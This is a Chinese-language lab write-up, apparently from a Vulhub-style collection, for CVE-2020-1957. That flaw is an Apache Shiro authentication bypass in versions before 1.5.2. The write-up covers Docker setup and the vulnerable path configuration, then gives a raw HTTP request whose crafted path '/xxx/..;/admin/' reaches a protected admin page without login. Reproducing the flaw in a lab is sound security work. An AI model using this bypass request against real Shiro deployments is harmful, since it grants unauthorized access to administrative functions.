# Apache Shiro 认证绕过漏洞 CVE-2020-1957 ## 漏洞描述 Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造`..;`这样的跳转,可以绕过Shiro中对目录的权限限制。 参考链接: - https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce#diff-98f7bc5c0391389e56531f8b3754081aL139 - https://xz.aliyun.com/t/8281 - https://blog.spoock.com/2020/05/09/cve-2020-1957/ ## 环境搭建 Vulhub执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用: ``` docker-compose up -d ``` 环境启动后,访问`http://your-ip:8080`即可查看首页。 这个应用中对URL权限的配置如下: ``` @Bean public ShiroFilterChainDefinition shiroFilterChainDefinition() { DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition(); chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form chainDefinition.addPathDefinition("/logout", "logout"); chainDefinition.addPathDefinition("/admin/**", "authc"); return chainDefinition; } ``` ## 漏洞复现 直接请求管理页面`/admin/`,无法访问,将会被重定向到登录页面: ``` GET /admin HTTP/1.1 Host: your-vps-ip:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ``` ![image-20220301100715129](images/202203011007191.png) 构造恶意请求`/xxx/..;/admin/`,即可绕过权限校验,访问到管理页面: ``` GET /xxx/..;/admin/ HTTP/1.1 Host: your-vps-ip:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ``` ![image-20220301100858801](images/202203011008871.png)